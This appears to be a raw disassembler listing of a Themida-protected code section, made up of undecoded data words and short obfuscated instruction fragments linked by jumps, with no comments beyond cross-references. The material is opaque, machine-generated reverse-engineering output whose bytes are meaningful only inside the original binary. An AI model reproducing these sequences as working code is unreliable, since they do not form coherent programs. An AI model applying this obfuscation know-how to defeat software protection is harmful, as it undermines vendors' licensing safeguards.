dd 6B83E95Bh, 0C3810000h, 4, 0E904EB83h, 86DCh, 41B951ADh
dd 557C3971h, 8C1149BDh, 781D0562h, 0BEE95B55h, 8100009Ah
dd 0C7D1D1C1h, 0FFC181C0h, 56FFFFFFh, 783A6CBEh, 90C18129h
dd 29160950h, 90E981F1h, 8B160950h, 0C4832434h, 27FA2D04h
dd 632D01B2h, 13BA675h, 63BA52C8h, 13BA675h, 0EC835AD0h
dd 24348904h, 79FE9h, 4C48100h, 1000000h, 7FC781EFh, 8B5A7111h
dd 2FE9242Ch, 8B0000BDh, 5450242Ch, 40558h, 4050000h, 87000000h
dd 0E95C2404h, 0FFFFF8B9h, 0E9240C8Bh, 555h
; ---------------------------------------------------------------------------
loc_559C50: ; CODE XREF: Themida_:0055AE87j
pop edx
sub ebp, ecx
mov ecx, [esp]
add esp, 4
sub ecx, ebp
jmp loc_563FCD
; ---------------------------------------------------------------------------
loc_559C60: ; CODE XREF: Themida_:00561CD8j
push 7878h
mov [esp], edx
mov edx, 662144BFh
add edx, 64F2668Ch
shr edx, 8
sub edx, 6FB514FCh
sub edx, 9CACA1ABh
jmp loc_5660D0
; ---------------------------------------------------------------------------
loc_559C87: ; CODE XREF: Themida_:0055693Bj
shr edx, 1
jmp loc_55DE85
; ---------------------------------------------------------------------------
dw 248Bh
dd 2434FF24h, 81685559h, 0E9000062h, 8549h
; ---------------------------------------------------------------------------
loc_559CA0: ; CODE XREF: Themida_:005675E5j
sub ebp, 44D54BD1h
sub ebp, ebx
add ebp, 44D54BD1h
pop ebx
jmp loc_5613B3
; ---------------------------------------------------------------------------
dd 348BF789h, 0BD55E924h, 0C481FFFFh, 4, 0ED81DDF7h, 3000914h
dd 3F3CE9h, 58545000h, 405h, 4E88300h, 0FFCE84E9h, 240C89FFh
dd 78E95052h, 66000037h, 56240C89h, 0BA525E54h, 6036395h
dd 436FE9h, 0BFED8100h, 5A348819h, 5C242C87h, 31243433h
dd 34332434h, 24248B24h, 0E9240489h, 0FFFF8F1Ch
; ---------------------------------------------------------------------------
loc_559D1C: ; CODE XREF: Themida_:005533E0j
xchg eax, ebp
push edi
sub esp, 4
mov [esp], edx
push ecx
push eax
mov eax, 6A8A16F1h
add eax, 7E6109A1h
shr eax, 1
push ebx
mov ebx, 4285721Bh
jmp loc_55321B
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4C4835Fh, 0FFF9CCE9h, 0E6E780FFh, 515ACF80h, 0C5804CB5h
dd 0CEF80ACh, 0C780EF00h, 0FD30590Ch, 0E9E8305Bh, 0FFFFFEE0h
dd 0B8240489h, 68261217h, 0E958C789h, 2DD9h, 2474FF52h
dd 48F5A04h, 0D091E924h, 1C87FFFFh, 0C895C24h, 52D1B924h
dd 0E1C10B47h, 28C66805h, 13E90000h, 5E000043h, 34FFDE31h
dd 0C4815B24h, 4, 685EF101h, 6A7Dh, 0B8240489h, 2, 48BC101h
dd 4C48324h, 0FFE6B8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559DC9: ; CODE XREF: Themida_:005545B4j
push ebp
not dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
push esi
push ebp
pop esi
push dword ptr [esp]
pop ebp
add esp, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_55A9EA
; ---------------------------------------------------------------------------
dd 45C3815Bh, 8135702Eh, 327953E3h, 0DACB8146h, 4B127C51h
dd 4242BE56h, 0EB819F2Bh, 5ED23154h, 533AE9h, 0D8C28100h
dd 8111A927h, 196E16F2h, 0FFD521C9h, 565A2434h, 692BE9h
db 0
; ---------------------------------------------------------------------------
loc_559E29: ; CODE XREF: Themida_:0055C6CEj
push 18A06DEh
mov edx, [esp]
add esp, 4
push edi
mov edi, 6903B82h
xor edx, edi
pop edi
sub edx, 71A3D5Bh
jmp loc_55D537
; ---------------------------------------------------------------------------
db 1
dd 0C1815BD9h, 3EF43A87h, 5FEBC181h, 1EE94122h, 5000003Fh
dd 383126B8h, 0F3F1E911h, 405FFFFh, 2D000000h, 4, 5C240487h
dd 81243489h, 4ECh, 9C5AE900h, 34310000h, 24343324h, 6624248Bh
dd 0E9241489h, 0B4E4h, 8124048Bh, 4C4h, 81974000h, 0F37CB9F7h
dd 29F7817Ch, 19DE3EEh, 0BD555FFAh, 2, 72C4C281h, 0C2810731h
dd 289C11F0h, 0FFD011E9h, 24048BFFh, 504C483h, 3F3215Bh
dd 0D4E9C289h, 0F70000C0h, 81D6F7D6h, 0BB47C3EEh, 0BB53551Ah
dd 65791C69h, 5263F4BDh, 5BDD2982h, 5BB9E94Dh, 0C890000h
dd 869DE924h, 0DF890000h, 77C7815Bh, 816C1F35h, 0C13DDEF7h
dd 98F7815Dh, 0E9371A5Fh, 866Ch, 4907C2BAh, 5AD60977h
dd 0CE81DEF7h, 9A06472h, 89C2BF57h, 0FE31C89Ah, 0F401E95Fh
dd 74FFFFFFh, 8F5E0424h, 0F4E92404h, 8B0000C3h, 97E92404h
db 5Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559F4F: ; CODE XREF: Themida_:00553511j
pop edi
pop ebp
and eax, esi
jmp loc_562F89
; ---------------------------------------------------------------------------
dd 0E92C77FFh, 0FFFF8CD8h
; ---------------------------------------------------------------------------
loc_559F60: ; CODE XREF: Themida_:0055B04Fj
mov ecx, edi
pop edi
shl ecx, 2
jmp loc_556BD0
; ---------------------------------------------------------------------------
db 28h
dd 24148BD3h, 0FF9438E9h, 240431FFh, 31240433h, 0E9502404h
dd 0FFFFC166h
; ---------------------------------------------------------------------------
loc_559F84: ; CODE XREF: Themida_:0055730Bj
mov esp, [esp]
jmp loc_552DFA
; ---------------------------------------------------------------------------
dd 8704EF83h, 0D2E9243Ch
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_559F97: ; CODE XREF: Themida_:00565F23j
shr edx, 7
push ebx
mov ebx, 2B6B60A1h
jmp loc_55F709
; ---------------------------------------------------------------------------
db 81h, 0E5h, 20h
dd 557BA151h, 0FFC45BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559FB1: ; CODE XREF: Themida_:00566EFEj
push edx
jmp loc_560D8B
; ---------------------------------------------------------------------------
loc_559FB7: ; CODE XREF: Themida_:00562B09j
push esi
mov esi, 4
jmp loc_558298
; ---------------------------------------------------------------------------
aAUfy db 'µ (îfY',0
aPEaLsiy db 'ÆP´e€Ä«é¨y',0
dd 48B6600h, 0A09FE924h, 48F0000h, 1C895C24h, 21EE6824h
dd 0FE90000h, 10000B6h, 1C8758C3h, 4FF5C24h, 39E99C24h
dd 8BFFFF8Ch, 0C4832434h, 72BA5204h, 81303E3Ch, 0F0DBA7EAh
dd 0F6CA812Fh, 811DC043h, 46415DE2h, 94EA8128h, 29BAB3FBh
dd 0CF015AD7h, 45C9C781h, 96684D90h, 89000057h, 1AE9241Ch
dd 8100005Fh, 0EE69A6EEh, 0EE814E5Dh, 8A679EA1h, 555EF389h
dd 0FFFFFFBDh, 5DEB01FFh, 3D8E9h, 81EB8100h, 5F1E5414h
dd 1D7A612Dh, 30990564h, 90E94DE7h, 8B0000DFh, 0C4812404h
dd 4, 0E9240C33h, 0BFDDh, 98BCE95Ch, 0D6010000h, 4EE835Ah
dd 0E9243487h, 0A041h, 41D768h, 243C8900h, 0AF51E9h
db 0
; ---------------------------------------------------------------------------
loc_55A0A1: ; CODE XREF: Themida_:00561AF8j
dec ebx
xor ebx, 69A9143Ah
add ebp, ebx
mov ebx, [esp]
push ebx
mov ebx, esp
sub esp, 4
jmp loc_567CFB
; ---------------------------------------------------------------------------
db 0BFh
dd 5692427Fh, 7F39C781h, 474F7A7Eh, 9EDFF781h, 0C781CEA8h
dd 0EF27F846h, 4247C01h, 50243C8Bh, 405E089h, 83000000h
dd 48704C0h, 10685C24h, 0E9000028h, 0FCDh, 0F181D1F7h
dd 0E45DE872h, 0C8BCA31h, 4C48124h, 81000000h, 8EACD0C2h
dd 26EE81F9h, 0E92B8460h, 517Ch, 0FF8B1BE9h, 1C77FFFFh
dd 1858669Dh, 0E99C2404h, 0FFFF8B0Ch
; ---------------------------------------------------------------------------
loc_55A12C: ; CODE XREF: Themida_:00557F0Cj
mov esi, ebp
pop ebp
sub ecx, 5FA10DA6h
add ecx, esi
add ecx, 5FA10DA6h
pop esi
mov edx, ecx
pop ecx
sub edx, 0FFFFFFFFh
shl edx, 5
push esi
mov esi, 1
jmp loc_5544B4
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 0C513E9h, 58EA8100h, 0E90C1977h, 8F97h, 0D188FAB2h
dd 8324148Bh, 0EC8104C4h, 4, 0B2241489h, 33686628h, 0C896661h
dd 30AAB124h, 0C8B66CAh, 2A28E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A192: ; CODE XREF: Themida_:00555C1Aj
mov esp, [esp]
add esp, 4
imul ecx, eax
push ecx
pushf
jmp loc_552C38
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 5FE7E9h, 59CE2900h, 0C6B5E9h, 2434FF00h
db 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push 0B9Ah
jmp loc_567D0C
; ---------------------------------------------------------------------------
dd 0E9E08950h, 0FFFFFC96h, 9419E95Eh, 0C9FE0000h, 0E901E980h
dd 9948h, 0BB535D54h, 0BA655AFh, 0FFC025E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A1F1: ; CODE XREF: Themida_:0055AD32j
and esi, edx
pop edx
shr esi, 6
jmp loc_5566C2
; ---------------------------------------------------------------------------
loc_55A1FC: ; CODE XREF: Themida_:005540A7j
push 1F24h
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_566205
; ---------------------------------------------------------------------------
db 5Bh, 68h, 40h
dd 89000018h, 18B5240Ch, 0FFEFA9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A21D: ; CODE XREF: Themida_:005559D7j
add dword ptr [esp], 1
pop edi
or edi, 1CBE37D9h
sub edi, 0AFAD6C6Ch
sub esi, 5A5B0810h
jmp loc_553509
; ---------------------------------------------------------------------------
db 5Ch, 89h, 14h
dd 148B5424h, 4C48124h, 81000000h, 4C2h, 0BA525600h, 4
dd 8BA6E9h, 241CF700h, 89D6E99Ch, 5059FFFFh, 9004BAB8h
dd 4AED8102h, 123AE03h, 4AC581C5h, 5823AE03h, 0F051ED81h
dd 0E9894116h, 4ABD555Dh, 45739B64h, 0BA525645h, 0F2B2C9Dh
dd 575AD689h, 1821B7BFh, 0FEF7816Fh, 0C1059514h, 0EFC107E7h
dd 0AD37E902h, 0CFFFFFFh, 85E99C24h
db 89h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A2B3: ; CODE XREF: Themida_:0055B526j
pop ebx
push edx
mov edx, 14693B8Ch
and edx, 7D400868h
shl edx, 1
jmp loc_553C2D
; ---------------------------------------------------------------------------
aVwsli db 'VW髨',0
align 2
loc_55A2CE: ; CODE XREF: Themida_:00567F5Dj
push edi
jmp loc_55E690
; ---------------------------------------------------------------------------
dd 0BAE9CA01h, 5CFFFFE6h, 0BB241C89h, 476C2A84h, 4FBFE381h
dd 30E95E16h, 0BA000058h, 49FB628Ah, 97FE9h, 24148B00h
dd 4C481h, 348B0000h, 4C48324h, 52B86857h, 24890000h, 24048324h
dd 0C7815F04h, 4, 4EF81h, 0FE90000h, 8BFFFFB0h, 0C483242Ch
dd 24048704h, 11A3E9h, 24540100h, 815A5A04h, 4C2h, 4C28300h
dd 0FFFA2FE9h, 2EDC1FFh, 33E1ED81h, 0BF576BB4h, 0CE0588Fh
dd 9DEEE9h, 5E545600h, 4C681h, 0EE810000h, 4, 2474FF56h
dd 48F5E04h, 34895C24h, 2474FF24h, 2434FF04h, 4C4835Eh
dd 0AA7DE9h
db 0
; ---------------------------------------------------------------------------
loc_55A389: ; CODE XREF: Themida_:00566FDCj
push edx
mov edx, 7C00241Fh
jmp loc_567BE7
; ---------------------------------------------------------------------------
dd 6624248Bh, 66793D68h, 68241489h, 7211h, 92B4E9h, 2BD00h
dd 0EF890000h, 0E9F8015Dh, 0FFFFDC9Ah, 8740ADBEh, 8EEC149h
dd 5F46EE81h, 0F001FE97h, 5E2434FFh, 5904C483h, 4BA52h
dd 622D0000h, 57ED36Ch, 443836C9h, 9548E9h, 4C48300h, 29C3E9h
dd 4D006800h, 3C890000h, 0E1895124h, 0FFD0DCE9h, 24248BFFh
dd 0B8240489h, 4, 0D07E9h, 256EBD00h, 0EDC15F06h, 0E9DDF706h
dd 0FFFFC0FBh, 4EC81h, 1C890000h, 15685624h, 5E342517h
dd 0FFE969E9h, 0F7DBF7FFh, 8E44E9DBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A43A: ; CODE XREF: Themida_:00554734j
push ebp
push esi
jmp loc_565813
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 48F5804h, 24248B24h, 405h, 20500h, 0FF500000h, 58042474h
dd 0E924048Fh, 0BB35h, 70C2E955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A46A: ; CODE XREF: Themida_:005554F8j
pop edx
sub ebp, 7F645D6Dh
sub edi, 59D20283h
sub edi, ebp
jmp loc_5562EB
; ---------------------------------------------------------------------------
loc_55A47E: ; CODE XREF: Themida_:005589DFj
push ebx
push eax
mov eax, esp
add eax, 4
jmp loc_55FF61
; ---------------------------------------------------------------------------
dd 0CDFEC5FEh, 99E9D5F6h, 0D10000D8h, 7931E9EBh, 0EF810000h
dd 112944CDh, 96E9F701h, 5Fh, 865966EBh, 359BE9C3h, 875B0000h
dd 535C243Ch, 2BBh, 258E2D00h, 0D8017495h, 0FFF513E9h
dd 3877FFFFh, 0E92434FFh, 916Fh
; ---------------------------------------------------------------------------
loc_55A4D8: ; CODE XREF: Themida_:0056117Ej
mov [esp], ecx
jmp loc_55B428
; ---------------------------------------------------------------------------
dd 4EC81h, 17E90000h, 8BFFFF88h, 0EC81243Ch, 4, 4F1CE9h
dd 242C8700h, 30C18159h, 0E9A5364Bh, 0FFFFAFFDh
; ---------------------------------------------------------------------------
loc_55A508: ; CODE XREF: Themida_:005619D3j
push 6788h
mov [esp], ebp
jmp loc_5532C1
; ---------------------------------------------------------------------------
db 5Bh, 81h, 0C4h
dd 4, 5C24048Fh, 24040166h, 870EE99Ch, 1487FFFFh, 24248B24h
dd 4BB0F66h, 0FDE99C24h, 0FFFFFF86h, 669D1C77h, 24041058h
dd 86EEE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A54A: ; CODE XREF: Themida_:005630E0j
add eax, 7602700Ch
pop edi
add eax, esi
add eax, 7D4F0290h
jmp loc_5663A1
; ---------------------------------------------------------------------------
loc_55A55C: ; CODE XREF: Themida_:0055BDF2j
mov ebp, 4
add eax, ebp
jmp loc_5660BE
; ---------------------------------------------------------------------------
dd 592434FFh, 8904EC83h, 9168242Ch, 89000061h, 79E92424h
dd 10000D9h, 7FE8E9CFh, 0D8010000h, 220C9405h, 7B3A0520h
dd 85055EDCh, 68550511h, 5175h, 56241C89h, 0AB27CA68h
dd 0EE815E4Ah, 0A34D297h, 89F08950h, 0D41DE9C3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A5B6: ; CODE XREF: Themida_:00566B46j
push ecx
jmp loc_56108B
; ---------------------------------------------------------------------------
dd 42474FFh, 0FFBE5BE9h, 0E9E789FFh, 0B712h
; ---------------------------------------------------------------------------
loc_55A5CC: ; CODE XREF: Themida_:005587D7j
add [eax], edi
push dword ptr [esp]
jmp loc_562085
; ---------------------------------------------------------------------------
loc_55A5D6: ; CODE XREF: Themida_:0055D148j
push edx
mov edx, ebx
jmp loc_5531B0
; ---------------------------------------------------------------------------
dw 0C181h
dd 0FFFFFFFFh, 0EC96F181h, 74E9ACFDh
db 99h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55A5EF: ; CODE XREF: Themida_:00566227j
push 569Dh
mov [esp], edi
mov edi, 1
jmp loc_565A95
; ---------------------------------------------------------------------------
loc_55A601: ; CODE XREF: Themida_:00566ACAj
add esp, 4
pop ecx
add edi, eax
mov eax, [esp]
add esp, 4
jmp loc_563417
; ---------------------------------------------------------------------------
loc_55A618: ; CODE XREF: Themida_:005663C4j
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], esp
push eax
mov eax, 4
jmp loc_55301C
; ---------------------------------------------------------------------------
db 81h
dd 9A188FF6h, 384AE932h, 0E9500000h, 1EF0h, 793B68h, 24148900h
dd 1004AFBAh, 0E5C5E901h, 425AFFFFh, 70C2F281h, 0D7011455h
dd 4C7835Ah, 8B67E9h, 0CAC38000h, 50B7535Ah, 0E950EF80h
dd 1CDh
; ---------------------------------------------------------------------------
loc_55A680: ; CODE XREF: Themida_:00567178j
xor [esp], edi
xor edi, [esp]
pop esp
pop esi
push 2C37h
mov [esp], ebx
jmp loc_566AB4
; ---------------------------------------------------------------------------
db 0F6h, 0DBh, 80h
dd 0CB8043E3h, 44C380FAh, 0D830CFB0h, 83241C8Bh, 1E2404C4h
dd 0E9A5B652h, 0A6ACh, 2C5815Ch, 87000000h, 248B242Ch
dd 9CC88424h, 0FF856FE9h, 0E9F000FFh, 0BE5Ch, 8924248Bh
dd 0EC832434h, 24248904h, 4240481h, 0E9000000h, 33BEh
dd 0BA241489h, 0DA61FE05h, 575AD329h, 9D11E9h
db 0
; ---------------------------------------------------------------------------
loc_55A6F9: ; CODE XREF: Themida_:0055521Bj
xor esi, ebp
mov ebp, [esp]
add esp, 4
mov edi, esi
pop esi
pop edx
and eax, edi
pop edi
or edx, eax
shl edx, 1
push esi
jmp loc_55EEFD
; ---------------------------------------------------------------------------
dw 0EBC0h
dd 66D3F606h, 805DB551h, 0C3801FEBh, 80EB28BFh, 0C380BFEBh
dd 0D765E91Fh, 0E3C10000h, 12C38103h, 1D7A44Eh, 0D30BE9DEh
dd 0C481FFFFh, 2, 521CF380h, 0C2FE2BB2h, 6866D2F6h, 14280000h
dd 24148A24h, 0FE02C483h, 10C0E9CAh, 0EB280000h, 973DE959h
dd 0EC83FFFFh, 240C8904h, 0C181E189h, 4, 62ECB850h, 812D43C1h
dd 251A4523h, 58D62B6Ah, 0C3250705h, 41CA2D2Dh, 0B951149Dh
dd 0DE85F15Dh, 2959C801h, 0C8758C1h, 3C895C24h, 2268BF24h
dd 0E7C16D24h, 0FBCF8103h, 8140B93Ah, 0E71F5AF7h, 0F7D7F71Fh
dd 5CF781D7h, 81338A21h, 650F86EAh, 81FA0160h, 650F86C2h
dd 0D2F75F60h, 0FF9820E9h, 0C7815FFFh, 805289FFh, 595FFA29h
dd 3AD0E952h, 5F680000h, 89000053h, 65BA2414h, 8113F73Dh
dd 670D80F2h, 7BEA815Ch, 56793E31h, 0FFC6F6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55A809: ; CODE XREF: Themida_:00555C01j
add dh, bl
pop ebx
add dh, 27h
sub dh, 0C9h
xor dh, 97h
add al, dh
pop edx
jmp loc_562FC2
; ---------------------------------------------------------------------------
loc_55A81D: ; CODE XREF: Themida_:0055BD57j
push 7CD96B4Eh
push dword ptr [esp]
pop edi
add esp, 4
shr edi, 3
dec edi
jmp loc_561F13
; ---------------------------------------------------------------------------
loc_55A835: ; CODE XREF: Themida_:00562A99j
inc ebp
dec ebp
jmp loc_552D68
; ---------------------------------------------------------------------------
dd 8124048Bh, 4C4h, 5DEF3100h, 0FF9AAAE9h, 80EFD0FFh, 0F828A0C7h
dd 4D8285Bh, 2434FFA0h, 4C4835Bh, 0E9585450h, 0FFFF9BA0h
; ---------------------------------------------------------------------------
loc_55A868: ; CODE XREF: Themida_:00554322j
sub esi, eax
mov eax, [esp]
add esp, 4
and ecx, esi
pop esi
jmp loc_5577D5
; ---------------------------------------------------------------------------
loc_55A87B: ; CODE XREF: Themida_:00563044j
sub esp, 4
mov [esp], ebp
mov ebp, 296E61EFh
xchg eax, ebp
neg eax
xchg eax, ebp
push ebx
mov ebx, 0D6919E13h
jmp loc_55C152
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0B9240C89h, 4, 0FF85BDE9h, 48966FFh, 4EC8324h, 0B6241489h
dd 2815B041h, 0C6085AF0h, 0DEF65866h, 80FFEE80h, 0CE8028E6h
dd 0B551667Ah, 15F58079h, 0ED80CDFEh, 0E1C680C8h, 0EE80EE28h
dd 515966E1h, 0E980AEB1h, 0BE03E905h, 0A680000h, 8900003Ah
dd 5868243Ch, 89000019h, 4832424h, 34FF0424h, 0B0DAE924h
dd 82DFFFFh, 0E924691Eh, 6C75h, 0C381665Dh, 66511DBFh
dd 664349B9h, 0E1816649h, 816668B7h, 0E9576DC9h, 0B140h
dd 9C2424D3h, 0FF8307E9h, 48F5FFFh, 24248B24h, 0E9240489h
dd 744Fh
; ---------------------------------------------------------------------------
loc_55A940: ; CODE XREF: Themida_:00555396j
add esp, 4
jmp loc_557D56
; ---------------------------------------------------------------------------
dd 4C481h, 0D2F70000h, 4D5DF281h, 0D6313109h, 0FFEE815Ah
dd 4EFFFFFFh, 0D2B8E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A966: ; CODE XREF: Themida_:005665ADj
add ebx, eax
sub ebx, 4B8046D5h
pop eax
jmp loc_55C008
; ---------------------------------------------------------------------------
loc_55A974: ; CODE XREF: Themida_:005643F1j
pop eax
mov esi, ebp
pop ebp
sub esp, 4
mov [esp], esi
push dword ptr [esp]
jmp loc_565EE2
; ---------------------------------------------------------------------------
dw 48Bh
dd 4C48324h, 4EC81h, 14890000h, 81E28924h, 4C2h, 83E95000h
dd 81000008h, 1DA4F5h, 0F1F58128h, 113D26Ch, 4AE95DEAh
dd 83FFFFCBh, 0B95104C4h, 2C560FEAh, 0E907E9C1h, 0FFFFCAA6h
dd 453AA4BBh, 8BDD2939h, 8AE9241Ch
db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55A9D7: ; CODE XREF: Themida_:00563088j
pop eax
add eax, 0FFFFFFFFh
push ebp
push eax
jmp loc_56055A
; ---------------------------------------------------------------------------
loc_55A9E4: ; CODE XREF: Themida_:005657F6j
pop esp
jmp loc_552C38
; ---------------------------------------------------------------------------
loc_55A9EA: ; CODE XREF: Themida_:00559DE7j
mov eax, [esp]
push 0B44h
mov [esp], eax
mov eax, esp
sub esp, 4
jmp loc_552D2D
; ---------------------------------------------------------------------------
dw 48Fh
dd 48F5C24h, 29665C24h, 0E99C2404h, 0FFFF8224h
; ---------------------------------------------------------------------------
loc_55AA14: ; CODE XREF: Themida_:00553279j
not dword ptr [esp]
mov edx, [esp]
add esp, 4
xchg edx, [esp]
pop esi
xor ebp, esi
xor esi, ebp
xor ebp, esi
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
mov ebx, [esp]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
xor eax, ebx
xor ebx, eax
xor eax, ebx
push 45A5h
mov [esp], esi
push esp
mov esi, [esp]
jmp loc_55B756
; ---------------------------------------------------------------------------
dw 815Dh
dd 0B55E3AC2h, 0F866E92Dh, 5066FFFFh, 0A563E9h, 0E9EA8900h
dd 3D34h, 5358C689h, 0FFF842E9h, 48F54FFh, 43E95324h, 0BAFFFF9Dh
dd 3BA5715Fh, 0A57163BDh, 5AD5293Bh, 535DE801h, 8663E9h
dd 74E95E00h, 0B5FFFFA6h, 59E828A9h, 5124148Bh, 0BD55E189h
dd 1E640411h, 668AE581h, 0ED815651h, 1556640Dh, 0E8C2E94Dh
dd 2C87FFFFh, 24248B24h, 0FFFE4FE9h, 66AD66FFh, 9168D831h
dd 89000023h, 1DE92434h
db 0Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AAEB: ; CODE XREF: Themida_:0055586Aj
pop eax
pop edx
add edx, 4
sub esp, 4
mov [esp], esi
push 5299h
mov [esp], eax
push 475F3525h
jmp loc_557C09
; ---------------------------------------------------------------------------
aS?w db '^é?W',0
db 0
; ---------------------------------------------------------------------------
loc_55AB11: ; CODE XREF: Themida_:0055FF87j
not ebx
push ecx
push ebx
mov ebx, 61883733h
mov ecx, 83519693h
add ecx, 4B4504EDh
add ecx, 23255C66h
jmp loc_55D012
; ---------------------------------------------------------------------------
dd 33241C31h, 895C241Ch, 0E189240Ch, 4BD55h, 0E9010000h
dd 0E956575Dh, 90Eh, 5E08950h, 4, 4BA52h, 0D0290000h, 74FF505Ah
dd 48B0424h, 4C48124h, 8F000000h, 0E95C2404h, 8149h
; ---------------------------------------------------------------------------
loc_55AB74: ; CODE XREF: Themida_:00563E5Cj
xor ebp, 8D009C04h
add esi, ebp
mov ebp, [esp]
jmp loc_563BDA
; ---------------------------------------------------------------------------
dd 1EE835Dh, 4EC81h, 2C890000h, 6D59BD24h, 0E58106F3h
dd 5D380799h, 0ACBEED81h, 0EE31EA14h, 384CE9h, 0FBBE5600h
dd 4651CF55h, 84E9DEF7h, 3300003Eh, 248B240Ch, 4C82824h
dd 0D72C5932h, 673868h, 24148900h, 0B6B05066h, 5866C688h
dd 88E98A04h
db 2Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55ABDB: ; CODE XREF: Themida_:005653C6j
pop edi
jmp loc_5600D8
; ---------------------------------------------------------------------------
db 81h, 0C6h, 4
dd 87000000h, 685C2434h, 0D7Eh, 0A74EE9h, 0C2835C00h, 6157E904h
dd 0C6290000h, 674AE9h
db 0
; ---------------------------------------------------------------------------
loc_55AC05: ; CODE XREF: Themida_:005615ECj
push ebp
jmp loc_5650B1
; ---------------------------------------------------------------------------
aXsL db 'XéÑl',0
dd 2434FF00h, 8324048Bh, 0E95604C4h, 7AE7h, 24048B66h
dd 815B5453h, 4C3h, 4EB8100h, 33000000h, 1C31241Ch, 241C3324h
dd 2720E9h
db 0
; ---------------------------------------------------------------------------
loc_55AC41: ; CODE XREF: Themida_:00560357j
push 356Dh
mov [esp], esi
mov esi, 4
add ebx, esi
pop esi
push 40Ch
mov [esp], edx
push eax
mov eax, 0FD51289h
mov edx, eax
pop eax
or edx, 66317993h
neg edx
sub esp, 4
mov [esp], edx
jmp loc_5600CF
; ---------------------------------------------------------------------------
dd 4EC8353h, 0E9241489h, 0FFFFCF97h
; ---------------------------------------------------------------------------
loc_55AC84: ; CODE XREF: Themida_:00567D6Fj
push esi
push edi
jmp loc_55E372
; ---------------------------------------------------------------------------
loc_55AC8B: ; CODE XREF: Themida_:005575DEj
push edx
jmp loc_5574B7
; ---------------------------------------------------------------------------
db 83h, 4, 24h
dd 0C5815D04h, 4, 2DCA68h, 24148900h, 2A4CEA68h, 3E95A2Fh
dd 0BEFFFFB1h, 33236471h, 0D59C681h, 0D6F775FAh, 3FE9BA52h
dd 0EA810653h, 68F478EAh, 0FF95E1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55ACCD: ; CODE XREF: Themida_:00563CC9j
sub esp, 4
mov [esp], ebp
sub esp, 4
jmp loc_55F161
; ---------------------------------------------------------------------------
dw 8B66h
dd 0EC832404h, 241C8904h, 7EAAE9h, 0C1EB8100h, 5E262301h
dd 0E9585450h, 0ABCBh, 24048B66h, 54E368h, 0B8CEE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AD0A: ; CODE XREF: Themida_:0055DD78j
sub eax, 3F6B2F92h
dec eax
neg eax
sub eax, 12B8838Ch
sub edx, eax
jmp loc_566DB8
; ---------------------------------------------------------------------------
dw 248Bh
dd 24043124h, 0FF7F0FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55AD29: ; CODE XREF: Themida_:0055E377j
mov esi, edi
pop edi
push edx
mov edx, 4E1546E0h
jmp loc_55A1F1
; ---------------------------------------------------------------------------
loc_55AD37: ; CODE XREF: Themida_:0055F7F8j
pop dword ptr [esp]
mov esp, [esp]
push eax
push esp
pop eax
add eax, 4
add eax, 4
jmp loc_55E517
; ---------------------------------------------------------------------------
loc_55AD4F: ; CODE XREF: Themida_:0055EF64j
xor edx, 0A7D6A536h
or ecx, edx
jmp loc_55D791
; ---------------------------------------------------------------------------
dd 8104C483h, 4C6h, 1466E900h, 0BD660000h, 0C16612A0h
dd 0D16603EDh, 0F58166E5h, 81662615h, 66E971C5h, 665DEE01h
dd 0BD665551h, 0BBE97CB6h, 0AD00003Fh, 69747605h, 2B02052Ah
dd 0D8016D33h, 332B022Dh, 0DD2EE96Dh, 0CFFFFFFh, 2414F724h
dd 0E924148Bh, 0FFFFFB94h
; ---------------------------------------------------------------------------
loc_55ADB4: ; CODE XREF: Themida_:0056656Fj
push dword ptr [esp]
pop ebx
jmp loc_55F280
; ---------------------------------------------------------------------------
aXhxa db 'Xh•A',0
dw 8900h
dd 2B82404h, 57000000h, 501168h, 243C8B24h, 5D3FE9h, 0F1C78100h
dd 811E747Dh, 0F70B3EFh, 43F78109h, 81309E73h, 221179F7h
dd 5FFB019Dh, 1C8BDD01h, 4C48324h, 4C581h, 2C870000h, 9B09E924h
dd 5966FFFFh, 0BF2CF62Ch, 0BF04D800h, 0C164E9h, 64E95C00h
dd 1000055h, 0BEF81EFh, 811BF74Ah, 680ED2C7h, 0AA6E914h
dd 48F0000h, 24248B24h, 9C240428h, 97DE9h, 241C8900h, 985DE2BBh
dd 0BE38144h, 6811060Fh, 6260h, 0B8240489h, 281B1234h
dd 5158C309h, 0E32B88B9h, 0E9CB2977h, 0A739h
; ---------------------------------------------------------------------------
loc_55AE6C: ; CODE XREF: Themida_:00554890j
or ebp, 6BE105D1h
push 36DCh
mov [esp], ecx
push edx
mov edx, 61850EF8h
mov ecx, 305572D2h
add ecx, edx
jmp loc_559C50
